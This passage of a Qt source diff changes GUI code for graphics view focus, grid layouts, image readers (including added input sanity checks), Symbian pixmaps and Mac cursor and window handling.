+ virtual void save();
+ virtual void restore();
+ virtual void setMode(int nw,int nh,int nd);
+ virtual void setDirty(const QRect& r);
+ virtual void blank(bool);
+ static void setBrightness(int b);
- QString date;
+private:
+ QIntfbScreenPrivate *d_ptr;
};
+#endif // QT_NO_QWS_INTEGRITYFB
+
QT_END_NAMESPACE
-#endif
+QT_END_HEADER
+
+#endif // QSCREENINTEGRITYFB_QWS_H
diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp
index b059bd2..014b61b 100644
--- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp
+++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp
@@ -56,9 +56,9 @@
Items that are anchored are automatically added to the layout, and if items
are removed, all their anchors will be automatically removed.
- \beginfloatleft
+ \div {float-left}
\inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets.
- \endfloat
+ \enddiv
Anchors are always set up between edges of an item, where the "center" is also considered to
be an edge. Consider the following example:
diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp
index 01fed8c..ecc8941 100644
--- a/src/gui/graphicsview/qgraphicsitem.cpp
+++ b/src/gui/graphicsview/qgraphicsitem.cpp
@@ -7689,11 +7689,13 @@ void QGraphicsObject::updateMicroFocus()
void QGraphicsItemPrivate::children_append(QDeclarativeListProperty<QGraphicsObject> *list, QGraphicsObject *item)
{
- QGraphicsObject *graphicsObject = static_cast<QGraphicsObject *>(list->object);
- if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
- item->setParentItem(graphicsObject);
- } else {
- QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
+ if (item) {
+ QGraphicsObject *graphicsObject = static_cast<QGraphicsObject *>(list->object);
+ if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
+ item->setParentItem(graphicsObject);
+ } else {
+ QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
+ }
}
}
diff --git a/src/gui/graphicsview/qgraphicsscene.cpp b/src/gui/graphicsview/qgraphicsscene.cpp
index 7b87239..77ccc8e 100644
--- a/src/gui/graphicsview/qgraphicsscene.cpp
+++ b/src/gui/graphicsview/qgraphicsscene.cpp
@@ -130,7 +130,7 @@
item on the scene gains focus, the scene automatically gains focus. If the
scene has focus, hasFocus() will return true, and key events will be
forwarded to the focus item, if any. If the scene loses focus, (i.e.,
- someone calls clearFocus(),) while an item has focus, the scene will
+ someone calls clearFocus()) while an item has focus, the scene will
maintain its item focus information, and once the scene regains focus, it
will make sure the last focus item regains focus.
@@ -806,28 +806,23 @@ void QGraphicsScenePrivate::setFocusItemHelper(QGraphicsItem *item,
}
if (focusItem) {
- QFocusEvent event(QEvent::FocusOut, focusReason);
lastFocusItem = focusItem;
- focusItem = 0;
- sendEvent(lastFocusItem, &event);
#ifndef QT_NO_IM
if (lastFocusItem
&& (lastFocusItem->flags() & QGraphicsItem::ItemAcceptsInputMethod)) {
- // Reset any visible preedit text
- QInputMethodEvent imEvent;
- sendEvent(lastFocusItem, &imEvent);
-
// Close any external input method panel. This happens
// automatically by removing WA_InputMethodEnabled on
// the views, but if we are changing focus, we have to
// do it ourselves.
- if (item) {
- for (int i = 0; i < views.size(); ++i)
- if (views.at(i)->inputContext())
- views.at(i)->inputContext()->reset();
- }
+ for (int i = 0; i < views.size(); ++i)
+ if (views.at(i)->inputContext())
+ views.at(i)->inputContext()->reset();
}
+
+ focusItem = 0;
+ QFocusEvent event(QEvent::FocusOut, focusReason);
+ sendEvent(lastFocusItem, &event);
#endif //QT_NO_IM
}
@@ -3104,8 +3099,8 @@ bool QGraphicsScene::stickyFocus() const
\list
\o If the item receives a mouse release event when there are no other
buttons pressed, it loses the mouse grab.
- \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false))},
- or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false))},
+ \o If the item becomes invisible (i.e., someone calls \c {item->setVisible(false)}),
+ or if it becomes disabled (i.e., someone calls \c {item->setEnabled(false)}),
it loses the mouse grab.
\o If the item is removed from the scene, it loses the mouse grab.
\endlist
@@ -5924,6 +5919,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve
}
if (item->isPanel())
break;
+ if (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation)
+ break;
}
// If nobody could take focus, clear it.
@@ -5956,6 +5953,8 @@ bool QGraphicsScenePrivate::sendTouchBeginEvent(QGraphicsItem *origin, QTouchEve
}
if (item && item->isPanel())
break;
+ if (item && (item->d_ptr->flags & QGraphicsItem::ItemStopsClickFocusPropagation))
+ break;
}
touchEvent->setAccepted(eventAccepted);
diff --git a/src/gui/graphicsview/qgridlayoutengine.cpp b/src/gui/graphicsview/qgridlayoutengine.cpp
index 41ede20..375c723 100644
--- a/src/gui/graphicsview/qgridlayoutengine.cpp
+++ b/src/gui/graphicsview/qgridlayoutengine.cpp
@@ -194,7 +194,8 @@ void QGridLayoutRowData::distributeMultiCells(const QGridLayoutRowInfo &rowInfo)
for (int k = 0; k < span; ++k) {
boxes[start + k].combine(extras[k]);
- stretches[start + k] = qMax(stretches[start + k], stretch);
+ if (stretch != 0)
+ stretches[start + k] = qMax(stretches[start + k], stretch);
}
}
multiCellMap.clear();
@@ -1481,7 +1482,7 @@ void QGridLayoutEngine::fillRowData(QGridLayoutRowData *rowData, const QLayoutSt
QGridLayoutBox *box;
if (effectiveRowSpan == 1) {
box = &rowBox;
- if (!userRowStretch)
+ if (!userRowStretch && itemStretch != 0)
rowStretch = qMax(rowStretch, itemStretch);
} else {
QGridLayoutMultiCellData &multiCell =
diff --git a/src/gui/gui.pro b/src/gui/gui.pro
index fe1a595..076fe0a 100644
--- a/src/gui/gui.pro
+++ b/src/gui/gui.pro
@@ -65,15 +65,14 @@ symbian {
neon:*-g++* {
DEFINES += QT_HAVE_NEON
HEADERS += $$NEON_HEADERS
- SOURCES += $$NEON_SOURCES
DRAWHELPER_NEON_ASM_FILES = $$NEON_ASM
- neon_compiler.commands = $$QMAKE_CXX -c -mfpu=neon
- neon_compiler.commands += $(CXXFLAGS) $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT}
+ neon_compiler.commands = $$QMAKE_CXX -c
+ neon_compiler.commands += $(CXXFLAGS) -mfpu=neon $(INCPATH) ${QMAKE_FILE_IN} -o ${QMAKE_FILE_OUT}
neon_compiler.dependency_type = TYPE_C
neon_compiler.output = ${QMAKE_VAR_OBJECTS_DIR}${QMAKE_FILE_BASE}$${first(QMAKE_EXT_OBJ)}
- neon_compiler.input = DRAWHELPER_NEON_ASM_FILES
+ neon_compiler.input = DRAWHELPER_NEON_ASM_FILES NEON_SOURCES
neon_compiler.variable_out = OBJECTS
neon_compiler.name = compiling[neon] ${QMAKE_FILE_IN}
silent:neon_compiler.commands = @echo compiling[neon] ${QMAKE_FILE_IN} && $$neon_compiler.commands
diff --git a/src/gui/image/qbmphandler.cpp b/src/gui/image/qbmphandler.cpp
index 09c086a..6dea9d9 100644
--- a/src/gui/image/qbmphandler.cpp
+++ b/src/gui/image/qbmphandler.cpp
@@ -246,6 +246,8 @@ static bool read_dib_body(QDataStream &s, const BMP_INFOHDR &bi, int offset, int
if (depth != 32) {
ncols = bi.biClrUsed ? bi.biClrUsed : 1 << nbits;
+ if (ncols > 256) // sanity check - don't run out of mem if color table is broken
+ return false;
image.setColorCount(ncols);
}
diff --git a/src/gui/image/qgifhandler.cpp b/src/gui/image/qgifhandler.cpp
index 4dd4743..7cb7373 100644
--- a/src/gui/image/qgifhandler.cpp
+++ b/src/gui/image/qgifhandler.cpp
@@ -1046,7 +1046,7 @@ QGifHandler::QGifHandler()
{
gifFormat = new QGIFFormat;
nextDelay = 100;
- loopCnt = 1;
+ loopCnt = -1;
frameNumber = -1;
scanIsCached = false;
}
@@ -1192,7 +1192,13 @@ int QGifHandler::loopCount() const
QGIFFormat::scan(device(), &imageSizes, &loopCnt);
scanIsCached = true;
}
- return loopCnt-1; // In GIF, loop count is iteration count, so subtract one
+
+ if (loopCnt == 0)
+ return -1;
+ else if (loopCnt == -1)
+ return 0;
+ else
+ return loopCnt;
}
int QGifHandler::currentImageNumber() const
diff --git a/src/gui/image/qimage.cpp b/src/gui/image/qimage.cpp
index 91ee697..d992dd5 100644
--- a/src/gui/image/qimage.cpp
+++ b/src/gui/image/qimage.cpp
@@ -477,12 +477,12 @@ bool QImageData::checkForAlphaPixels() const
function. For example:
\table
+ \header
+ \o {2,1}32-bit
\row
\o \inlineimage qimage-32bit_scaled.png
\o
\snippet doc/src/snippets/code/src_gui_image_qimage.cpp 0
- \header
- \o {2,1}32-bit
\endtable
In case of a 8-bit and monchrome images, the pixel value is only
@@ -498,12 +498,12 @@ bool QImageData::checkForAlphaPixels() const
example:
\table
+ \header
+ \o {2,1} 8-bit
\row
\o \inlineimage qimage-8bit_scaled.png
\o
\snippet doc/src/snippets/code/src_gui_image_qimage.cpp 1
- \header
- \o {2,1} 8-bit
\endtable
QImage also provide the scanLine() function which returns a
diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index 01baa36..8face87 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -181,15 +181,17 @@ QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /*
if (ok) {
xshmimg->data = (char*)shmat(xshminfo.shmid, 0, 0);
xshminfo.shmaddr = xshmimg->data;
- if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1)
- qWarning() << "Error while marking the shared memory segment to be destroyed";
ok = (xshminfo.shmaddr != (char*)-1);
if (ok)
image = QImage((uchar *)xshmimg->data, width, height, format);
}
xshminfo.readOnly = false;
- if (ok)
+ if (ok) {
ok = XShmAttach(X11->display, &xshminfo);
+ XSync(X11->display, False);
+ if (shmctl(xshminfo.shmid, IPC_RMID, 0) == -1)
+ qWarning() << "Error while marking the shared memory segment to be destroyed";
+ }
if (!ok) {
qWarning() << "QNativeImage: Unable to attach to shared memory segment.";
if (xshmimg->data) {
diff --git a/src/gui/image/qpixmap_s60.cpp b/src/gui/image/qpixmap_s60.cpp
index dbe8177..ca5f133 100644
--- a/src/gui/image/qpixmap_s60.cpp
+++ b/src/gui/image/qpixmap_s60.cpp
@@ -1012,6 +1012,33 @@ void QS60PixmapData::fromNativeType(void* pixmap, NativeType nativeType)
}
}
+void QS60PixmapData::convertToDisplayMode(int mode)
+{
+ const TDisplayMode displayMode = static_cast<TDisplayMode>(mode);
+ if (!cfbsBitmap || cfbsBitmap->DisplayMode() == displayMode)
+ return;
+ if (image.depth() != TDisplayModeUtils::NumDisplayModeBitsPerPixel(displayMode)) {
+ qWarning("Cannot convert display mode due to depth mismatch");
+ return;
+ }
+
+ const TSize size = cfbsBitmap->SizeInPixels();
+ QScopedPointer<CFbsBitmap> newBitmap(createSymbianCFbsBitmap(size, displayMode));
+
+ const uchar *sptr = const_cast<const QImage &>(image).bits();
+ symbianBitmapDataAccess->beginDataAccess(newBitmap.data());
+ uchar *dptr = (uchar*)newBitmap->DataAddress();
+ Mem::Copy(dptr, sptr, image.byteCount());
+ symbianBitmapDataAccess->endDataAccess(newBitmap.data());
+
+ QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock);
+ delete cfbsBitmap;
+ lock.relock();
+ cfbsBitmap = newBitmap.take();
+ setSerialNumber(cfbsBitmap->Handle());
+ UPDATE_BUFFER();
+}
+
QPixmapData *QS60PixmapData::createCompatiblePixmapData() const
{
return new QS60PixmapData(pixelType());
diff --git a/src/gui/image/qpixmap_s60_p.h b/src/gui/image/qpixmap_s60_p.h
index e4060dc..c440bbc 100644
--- a/src/gui/image/qpixmap_s60_p.h
+++ b/src/gui/image/qpixmap_s60_p.h
@@ -107,6 +107,8 @@ public:
void* toNativeType(NativeType type);
void fromNativeType(void* pixmap, NativeType type);
+ void convertToDisplayMode(int mode);
+
private:
void release();
void fromSymbianBitmap(CFbsBitmap* bitmap, bool lockFormat=false);
diff --git a/src/gui/image/qxpmhandler.cpp b/src/gui/image/qxpmhandler.cpp
index ffad75b..075d5da 100644
--- a/src/gui/image/qxpmhandler.cpp
+++ b/src/gui/image/qxpmhandler.cpp
@@ -864,7 +864,7 @@ static bool read_xpm_body(
QByteArray buf(200, 0);
int i;
- if (cpp > 15)
+ if (cpp < 0 || cpp > 15)
return false;
// For > 256 colors, we delay creation of the image until
diff --git a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp
index ff199b1..1bef64d 100644
--- a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp
+++ b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp
@@ -706,6 +706,7 @@ void QCoeFepInputContext::CancelFepInlineEdit()
QInputMethodEvent event(QLatin1String(""), attributes);
event.setCommitString(QLatin1String(""), 0, 0);
m_preeditString.clear();
+ m_inlinePosition = 0;
sendEvent(event);
}
@@ -853,6 +854,7 @@ void QCoeFepInputContext::commitCurrentString(bool cancelFepTransaction)
QInputMethodEvent event(QLatin1String(""), attributes);
event.setCommitString(m_preeditString, 0, 0);
m_preeditString.clear();
+ m_inlinePosition = 0;
sendEvent(event);
m_hasTempPreeditString = false;
diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp
index 4dd0aa3..291ec6e 100644
--- a/src/gui/itemviews/qabstractitemview.cpp
+++ b/src/gui/itemviews/qabstractitemview.cpp
@@ -657,9 +657,9 @@ QAbstractItemView::~QAbstractItemView()
deleteLater() functions to explicitly delete them.
The view \e{does not} take ownership of the model unless it is the model's
- parent object because the view may be shared between many different views.
+ parent object because the model may be shared between many different views.
- \sa selectionModel(), setSelectionModel()
+ \sa selectionModel(), setSelectionModel()
*/
void QAbstractItemView::setModel(QAbstractItemModel *model)
{
diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index d03babb..21c9d3b 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -2744,6 +2744,7 @@ int QTreeView::indexRowSizeHint(const QModelIndex &index) const
int start = -1;
int end = -1;
+ int indexRow = index.row();
int count = d->header->count();
bool emptyHeader = (count == 0);
QModelIndex parent = index.parent();
@@ -2780,7 +2781,7 @@ int QTreeView::indexRowSizeHint(const QModelIndex &index) const
int logicalColumn = emptyHeader ? column : d->header->logicalIndex(column);
if (d->header->isSectionHidden(logicalColumn))
continue;
- QModelIndex idx = d->model->index(index.row(), logicalColumn, parent);
+ QModelIndex idx = d->model->index(indexRow, logicalColumn, parent);
if (idx.isValid()) {
QWidget *editor = d->editorForIndex(idx).widget.data();
if (editor && d->persistent.contains(editor)) {
@@ -3215,14 +3216,14 @@ int QTreeViewPrivate::itemHeight(int item) const
if (viewItems.isEmpty())
return 0;
const QModelIndex &index = viewItems.at(item).index;
+ if (!index.isValid())
+ return 0;
int height = viewItems.at(item).height;
- if (height <= 0 && index.isValid()) {
+ if (height <= 0) {
height = q_func()->indexRowSizeHint(index);
viewItems[item].height = height;
}
- if (!index.isValid() || height < 0)
- return 0;
- return height;
+ return qMax(height, 0);
}
diff --git a/src/gui/kernel/qapplication.cpp b/src/gui/kernel/qapplication.cpp
index 5c4a314..e91fe04 100644
--- a/src/gui/kernel/qapplication.cpp
+++ b/src/gui/kernel/qapplication.cpp
@@ -2771,7 +2771,7 @@ void QApplicationPrivate::dispatchEnterLeave(QWidget* enter, QWidget* leave) {
for (int i = 0; i < leaveList.size(); ++i) {
w = leaveList.at(i);
if (!QApplication::activeModalWidget() || QApplicationPrivate::tryModalHelper(w, 0)) {
-#if defined(Q_WS_WIN) || defined(Q_WS_X11)
+#if defined(Q_WS_WIN) || defined(Q_WS_X11) || defined(Q_WS_MAC)
if (leaveAfterRelease == w)
leaveAfterRelease = 0;
#endif
@@ -3142,13 +3142,11 @@ bool QApplicationPrivate::sendMouseEvent(QWidget *receiver, QMouseEvent *event,
// Dispatch enter/leave if:
// 1) the mouse grabber is an alien widget
// 2) the button is released on an alien widget
-
QWidget *enter = 0;
if (nativeGuard)
enter = alienGuard ? alienWidget : nativeWidget;
else // The receiver is typically deleted on mouse release with drag'n'drop.
enter = QApplication::widgetAt(event->globalPos());
-
dispatchEnterLeave(enter, leaveAfterRelease);
leaveAfterRelease = 0;
lastMouseReceiver = enter;
@@ -3695,15 +3693,6 @@ void QApplication::changeOverrideCursor(const QCursor &cursor)
if (qApp->d_func()->cursor_list.isEmpty())
return;
qApp->d_func()->cursor_list.removeFirst();
-#ifdef QT_MAC_USE_COCOA
- // We use native NSCursor stacks in Cocoa. The currentCursor is the
- // top of this stack. So to avoid flickering of cursor, we have to
- // change the cusor instead of pop-ing the existing OverrideCursor
- // and pushing the new one.
- qApp->d_func()->cursor_list.prepend(cursor);
- qt_cocoaChangeOverrideCursor(cursor);
- return;
-#endif
setOverrideCursor(cursor);
}
#endif
@@ -4434,6 +4423,24 @@ bool QApplication::notify(QObject *receiver, QEvent *e)
break;
}
#endif // QT_NO_GESTURES
+#ifdef QT_MAC_USE_COCOA
+ case QEvent::Enter:
+ if (receiver->isWidgetType()) {
+ QWidget *w = static_cast<QWidget *>(receiver);
+ if (w->testAttribute(Qt::WA_AcceptTouchEvents))
+ qt_widget_private(w)->registerTouchWindow(true);
+ }
+ res = d->notify_helper(receiver, e);
+ break;
+ case QEvent::Leave:
+ if (receiver->isWidgetType()) {
+ QWidget *w = static_cast<QWidget *>(receiver);
+ if (w->testAttribute(Qt::WA_AcceptTouchEvents))
+ qt_widget_private(w)->registerTouchWindow(false);
+ }
+ res = d->notify_helper(receiver, e);
+ break;
+#endif
default:
res = d->notify_helper(receiver, e);
break;
diff --git a/src/gui/kernel/qapplication_mac.mm b/src/gui/kernel/qapplication_mac.mm
index b22a6b3..f607a72 100644
--- a/src/gui/kernel/qapplication_mac.mm
+++ b/src/gui/kernel/qapplication_mac.mm
@@ -165,6 +165,7 @@ QT_BEGIN_NAMESPACE
//for qt_mac.h
QPaintDevice *qt_mac_safe_pdev = 0;
QList<QMacWindowChangeEvent*> *QMacWindowChangeEvent::change_events = 0;
+QPointer<QWidget> topLevelAt_cache = 0;
/*****************************************************************************
Internal variables and functions
@@ -192,7 +193,6 @@ static bool qt_mac_previous_press_in_popup_mode = false;
static bool qt_mac_no_click_through_mode = false;
static int tablet_button_state = 0;
#endif
-QPointer<QWidget> qt_mouseover;
#if defined(QT_DEBUG)
static bool appNoGrab = false; // mouse/keyboard grabbing
#endif
@@ -216,11 +216,12 @@ extern bool qt_mac_can_clickThrough(const QWidget *); //qwidget_mac.cpp
extern bool qt_mac_is_macdrawer(const QWidget *); //qwidget_mac.cpp
extern OSWindowRef qt_mac_window_for(const QWidget*); //qwidget_mac.cpp
extern QWidget *qt_mac_find_window(OSWindowRef); //qwidget_mac.cpp
-extern void qt_mac_set_cursor(const QCursor *, const QPoint &); //qcursor_mac.cpp
+extern void qt_mac_set_cursor(const QCursor *); //qcursor_mac.cpp
extern bool qt_mac_is_macsheet(const QWidget *); //qwidget_mac.cpp
extern QString qt_mac_from_pascal_string(const Str255); //qglobal.cpp
extern void qt_mac_command_set_enabled(MenuRef, UInt32, bool); //qmenu_mac.cpp
extern bool qt_sendSpontaneousEvent(QObject *obj, QEvent *event); // qapplication.cpp
+extern void qt_mac_update_cursor(); // qcursor_mac.mm
// Forward Decls
void onApplicationWindowChangedActivation( QWidget*widget, bool activated );
@@ -1364,43 +1365,16 @@ void QApplication::setMainWidget(QWidget *mainWidget)
/*****************************************************************************
QApplication cursor stack
*****************************************************************************/
-#ifdef QT_MAC_USE_COCOA
-void QApplicationPrivate::disableUsageOfCursorRects(bool disable)
-{
- // In Cocoa there are two competing ways of setting the cursor; either
- // by using cursor rects (see qcocoaview_mac.mm), or by pushing/popping
- // the cursor manually. When we use override cursors, it makes most sense
- // to use the latter. But then we need to tell cocoa to stop using the
- // first approach so it doesn't change the cursor back when hovering over
- // a cursor rect:
- QWidgetList topLevels = qApp->topLevelWidgets();
- for (int i=0; i<topLevels.size(); ++i) {
- if (NSWindow *window = qt_mac_window_for(topLevels.at(i)))
- disable ? [window disableCursorRects] : [window enableCursorRects];
- }
-}
-
-void QApplicationPrivate::updateOverrideCursor()
-{
- // Sometimes Cocoa forgets that we have set a Cursor
- // manually. In those cases, remind it again:
- if (QCursor *override = qApp->overrideCursor())
- [static_cast<NSCursor *>(qt_mac_nsCursorForQCursor(*override)) set];
-}
-#endif
void QApplication::setOverrideCursor(const QCursor &cursor)
{
qApp->d_func()->cursor_list.prepend(cursor);
#ifdef QT_MAC_USE_COCOA
- QMacCocoaAutoReleasePool pool;
- if (qApp->d_func()->cursor_list.size() == 1)
- qApp->d_func()->disableUsageOfCursorRects(true);
- [static_cast<NSCursor *>(qt_mac_nsCursorForQCursor(cursor)) push];
+ qt_mac_update_cursor();
#else
if (qApp && qApp->activeWindow())
- qt_mac_set_cursor(&qApp->d_func()->cursor_list.first(), QCursor::pos());
+ qt_mac_set_cursor(&qApp->d_func()->cursor_list.first());
#endif
}
@@ -1411,14 +1385,11 @@ void QApplication::restoreOverrideCursor()
qApp->d_func()->cursor_list.removeFirst();
#ifdef QT_MAC_USE_COCOA
- QMacCocoaAutoReleasePool pool;
- [NSCursor pop];
- if (qApp->d_func()->cursor_list.isEmpty())
- qApp->d_func()->disableUsageOfCursorRects(false);
+ qt_mac_update_cursor();
#else
if (qApp && qApp->activeWindow()) {
const QCursor def(Qt::ArrowCursor);
- qt_mac_set_cursor(qApp->d_func()->cursor_list.isEmpty() ? &def : &qApp->d_func()->cursor_list.first(), QCursor::pos());
+ qt_mac_set_cursor(qApp->d_func()->cursor_list.isEmpty() ? &def : &qApp->d_func()->cursor_list.first());
}
#endif
}
@@ -1431,30 +1402,54 @@ QWidget *QApplication::topLevelAt(const QPoint &p)
qt_mac_window_at(p.x(), p.y(), &widget);
return widget;
#else
+ // Use a cache to avoid iterate through the whole list of windows for all
+ // calls to to topLevelAt. We e.g. do this for each and every mouse
+ // move since we need to find the widget under mouse:
+ if (topLevelAt_cache && topLevelAt_cache->frameGeometry().contains(p))
+ return topLevelAt_cache;
+
+ // INVARIANT: Cache miss. Go through the list if windows instead:
+ QMacCocoaAutoReleasePool pool;
+ NSPoint cocoaPoint = flipPoint(p);
NSInteger windowCount;
NSCountWindows(&windowCount);
if (windowCount <= 0)
return 0; // There's no window to find!
- QMacCocoaAutoReleasePool pool;
- NSPoint cocoaPoint = flipPoint(p);
+
QVarLengthArray<NSInteger> windowList(windowCount);
NSWindowList(windowCount, windowList.data());
+ int firstQtWindowFound = -1;
for (int i = 0; i < windowCount; ++i) {
NSWindow *window = [NSApp windowWithWindowNumber:windowList[i]];
- if (window && NSPointInRect(cocoaPoint, [window frame])) {
+ if (window) {
QWidget *candidateWindow = [window QT_MANGLE_NAMESPACE(qt_qwidget)];
- // Check to see if there's a hole in the window where the mask is.
- // If there is, we should just continue to see if there is a window below.
- if (candidateWindow && !candidateWindow->mask().isEmpty()) {
- QPoint localPoint = candidateWindow->mapFromGlobal(p);
- if (!candidateWindow->mask().contains(localPoint)) {
- continue;
+ if (candidateWindow && firstQtWindowFound == -1)
+ firstQtWindowFound = i;
+
+ if (NSPointInRect(cocoaPoint, [window frame])) {
+ // Check to see if there's a hole in the window where the mask is.
+ // If there is, we should just continue to see if there is a window below.
+ if (candidateWindow && !candidateWindow->mask().isEmpty()) {
+ QPoint localPoint = candidateWindow->mapFromGlobal(p);
+ if (!candidateWindow->mask().contains(localPoint))
+ continue;
+ else
+ return candidateWindow;
+ } else {
+ if (i == firstQtWindowFound) {
+ // The cache will only work when the window under mouse is
+ // top most (that is, not partially obscured by other windows.
+ // And we only set it if no mask is present to optimize for the common case:
+ topLevelAt_cache = candidateWindow;
+ }
+ return candidateWindow;
}
}
- return candidateWindow;
}
}
- return 0; // Couldn't find a window at this point
+
+ topLevelAt_cache = 0;
+ return 0;
#endif
}
@@ -1480,8 +1475,8 @@ void QApplicationPrivate::enterModal_sys(QWidget *widget)
if (!qt_modal_stack)
qt_modal_stack = new QWidgetList;
- dispatchEnterLeave(0, qt_mouseover);
- qt_mouseover = 0;
+ dispatchEnterLeave(0, qt_last_mouse_receiver);
+ qt_last_mouse_receiver = 0;
qt_modal_stack->insert(0, widget);
if (!app_do_modal)
@@ -1512,8 +1507,8 @@ void QApplicationPrivate::leaveModal_sys(QWidget *widget)
w = grabber;
else
w = QApplication::widgetAt(p.x(), p.y());
- dispatchEnterLeave(w, qt_mouseover); // send synthetic enter event
- qt_mouseover = w;
+ dispatchEnterLeave(w, qt_last_mouse_receiver); // send synthetic enter event
+ qt_last_mouse_receiver = w;
}
#ifdef QT_MAC_USE_COCOA
if (!qt_mac_is_macsheet(widget))
@@ -1938,7 +1933,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event
}
}
}
- qt_mac_set_cursor(&cursor, QPoint(where.h, where.v));
+ qt_mac_set_cursor(&cursor);
}
//This mouse button state stuff looks like this on purpose
@@ -2132,20 +2127,20 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event
QWidget * const enterLeaveWidget = (inPopupMode || ekind == kEventMouseUp) ?
QApplication::widgetAt(where.h, where.v) : static_cast<QWidget*>(widget);
- if ((QWidget *) qt_mouseover != enterLeaveWidget || inNonClientArea) {
+ if ((QWidget *) qt_last_mouse_receiver != enterLeaveWidget || inNonClientArea) {
#ifdef DEBUG_MOUSE_MAPS
qDebug("Entering: %p - %s (%s), Leaving %s (%s)", (QWidget*)enterLeaveWidget,
enterLeaveWidget ? enterLeaveWidget->metaObject()->className() : "none",
enterLeaveWidget ? enterLeaveWidget->objectName().toLocal8Bit().constData() : "",
- qt_mouseover ? qt_mouseover->metaObject()->className() : "none",
- qt_mouseover ? qt_mouseover->objectName().toLocal8Bit().constData() : "");
+ qt_last_mouse_receiver ? qt_last_mouse_receiver->metaObject()->className() : "none",
+ qt_last_mouse_receiver ? qt_last_mouse_receiver->objectName().toLocal8Bit().constData() : "");
#endif
QWidget * const mouseGrabber = QWidget::mouseGrabber();
if (inPopupMode) {
QWidget *enter = enterLeaveWidget;
- QWidget *leave = qt_mouseover;
+ QWidget *leave = qt_last_mouse_receiver;
if (mouseGrabber) {
QWidget * const popupWidget = qApp->activePopupWidget();
if (leave == popupWidget)
@@ -2155,15 +2150,15 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event
if ((enter == mouseGrabber && leave == popupWidget)
|| (leave == mouseGrabber && enter == popupWidget)) {
QApplicationPrivate::dispatchEnterLeave(enter, leave);
- qt_mouseover = enter;
+ qt_last_mouse_receiver = enter;
}
} else {
QApplicationPrivate::dispatchEnterLeave(enter, leave);
- qt_mouseover = enter;
+ qt_last_mouse_receiver = enter;
}
- } else if ((!qt_button_down || !qt_mouseover) && !mouseGrabber && !leaveAfterRelease) {
- QApplicationPrivate::dispatchEnterLeave(enterLeaveWidget, qt_mouseover);
- qt_mouseover = enterLeaveWidget;
+ } else if ((!qt_button_down || !qt_last_mouse_receiver) && !mouseGrabber && !leaveAfterRelease) {
+ QApplicationPrivate::dispatchEnterLeave(enterLeaveWidget, qt_last_mouse_receiver);
+ qt_last_mouse_receiver = enterLeaveWidget;
}
}
break; }
@@ -2240,7 +2235,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event
if (leaveAfterRelease) {
QWidget *enter = QApplication::widgetAt(where.h, where.v);
QApplicationPrivate::dispatchEnterLeave(enter, leaveAfterRelease);
- qt_mouseover = enter;
+ qt_last_mouse_receiver = enter;
leaveAfterRelease = 0;
}
@@ -2503,7 +2498,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event
void QApplicationPrivate::qt_initAfterNSAppStarted()
{
setupAppleEvents();
- updateOverrideCursor();
+ qt_mac_update_cursor();
}
void QApplicationPrivate::setupAppleEvents()
@@ -3080,7 +3075,7 @@ void onApplicationWindowChangedActivation(QWidget *widget, bool activated)
}
QMenuBar::macUpdateMenuBar();
- QApplicationPrivate::updateOverrideCursor();
+ qt_mac_update_cursor();
#else
Q_UNUSED(widget);
Q_UNUSED(activated);
@@ -3115,6 +3110,7 @@ void onApplicationChangedActivation( bool activated )
app->setActiveWindow(tmp_w);
}
QMenuBar::macUpdateMenuBar();
+ qt_mac_update_cursor();
} else { // de-activated
QApplicationPrivate *priv = [[QT_MANGLE_NAMESPACE(QCocoaApplicationDelegate) sharedDelegate] qAppPrivate];
while (priv->inPopupMode())
diff --git a/src/gui/kernel/qapplication_p.h b/src/gui/kernel/qapplication_p.h
index 1a511a8..a6815a8 100644
--- a/src/gui/kernel/qapplication_p.h
+++ b/src/gui/kernel/qapplication_p.h
@@ -489,8 +489,6 @@ public:
#ifdef QT_MAC_USE_COCOA
static void qt_initAfterNSAppStarted();
static void setupAppleEvents();
- static void updateOverrideCursor();
- static void disableUsageOfCursorRects(bool disable);
#endif
static bool qt_mac_apply_settings();
#endif
diff --git a/src/gui/kernel/qapplication_qws.cpp b/src/gui/kernel/qapplication_qws.cpp
index f0801e3..642d3e6 100644
--- a/src/gui/kernel/qapplication_qws.cpp
+++ b/src/gui/kernel/qapplication_qws.cpp
@@ -204,6 +204,11 @@ QString qws_dataDir()
result = QT_VFB_DATADIR(qws_display_id);
QByteArray dataDir = result.toLocal8Bit();
+#if defined(Q_OS_INTEGRITY)
+ /* ensure filesystem is ready before starting requests */
+ WaitForFileSystemInitialization();
+#endif
+
